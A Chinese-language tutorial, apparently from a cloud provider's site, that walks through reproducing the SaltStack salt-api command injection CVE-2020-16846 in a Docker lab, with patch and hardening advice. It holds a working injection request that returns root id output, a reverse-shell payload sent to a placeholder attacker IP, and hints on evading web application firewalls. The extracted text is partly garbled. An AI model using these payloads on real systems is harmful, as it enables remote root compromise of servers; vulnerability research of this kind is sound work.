您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行SaltStack命令注入漏洞复现
## 前言
SaltStack是一款流行的开源配置管理和远程执行工具,广泛应用于自动化运维场景。然而,历史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤为危险,可能直接导致攻击者在目标服务器上执行任意命令。本文将详细讲解CVE-2020-16846漏洞的复现过程,帮助安全研究人员理解漏洞原理并验证修复方案。
---
## 漏洞背景
### 漏洞信息
- **CVE编号**: CVE-2020-16846
- **影响版本**: SaltStack 3002及之前版本
- **漏洞类型**: 命令注入
- **CVSS评分**: 9.8 (Critical)
### 漏洞原理
SaltStack的`salt-api`组件在使用`ssh_client`模块时,未对用户输入的`host`参数进行严格过滤,导致攻击者可通过构造恶意请求注入系统命令。
---
## 环境搭建
### 实验环境要求
- 虚拟机或云服务器(推荐Ubuntu 20.04)
- Docker环境(用于快速搭建漏洞环境)
### 使用Docker部署漏洞环境
```bash
# 拉取漏洞镜像
docker pull vulnerables/cve-2020-16846
# 启动容器(映射SaltStack API端口)
docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846
访问http://<目标IP>:8000
应看到SaltStack API的欢迎页面。
SaltStack API需要认证,首先获取访问令牌:
curl -sSk http://localhost:8000/login \
-H 'Accept: application/x-yaml' \
-d username=salt \
-d password=salt \
-d eauth=pam
响应示例:
return:
- eauth: pam
expire: 1625090000.123456
perms:
- .*
start: 1625086400.123456
token: abcdef1234567890
user: salt
利用ssh_client
模块的host
参数注入命令:
curl -sSk http://localhost:8000 \
-H 'Accept: application/json' \
-H 'X-Auth-Token: abcdef1234567890' \
-d client=ssh \
-d tgt='*' \
-d fun='test.ping' \
-d ssh_host='localhost";id;"'
参数 | 值示例 | 作用 |
---|---|---|
client | ssh | 指定SSH客户端模块 |
tgt | * | 目标主机(通配符) |
fun | test.ping | 执行的Salt函数 |
ssh_host | localhost";id;" |
注入命令的关键参数 |
成功利用时,响应中将包含id
命令的执行结果:
{
"return": [
{
"localhost": {
"ret": "uid=0(root) gid=0(root) groups=0(root)\n",
"retcode": 0
}
}
]
}
漏洞位于salt/client/ssh/client.py
中:
def _prep_ssh(
self,
host, # 未过滤的用户输入
...
):
cmd = 'ssh {0} {1}@{2} {3}'.format(
opts,
self._ssh_user(),
host, # 直接拼接进命令
remote_cmd
)
return shlex.split(cmd)
ssh_host
参数传入恶意字符串SaltStack在3002.1版本中:
1. 使用shlex.quote()
对host参数进行转义
2. 增加输入白名单验证
salt-api
非必要接口构造更危险的Payload获取交互式Shell:
ssh_host='localhost";bash -i >& /dev/tcp/攻击者IP/4444 0>&1;"'
测试WAF绕过技术: - 使用Base64编码命令 - 利用环境变量拼接命令
通过本次复现,我们了解到: 1. SaltStack命令注入漏洞的高危性 2. 参数过滤不严导致的RCE风险 3. 自动化工具安全开发的重要性
建议运维人员:
✅ 及时升级到最新版本
✅ 定期进行安全审计
✅ 最小化API权限分配
”`
注:实际操作时请确保在授权环境下进行测试,避免违反法律法规。本文仅用于教育目的。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。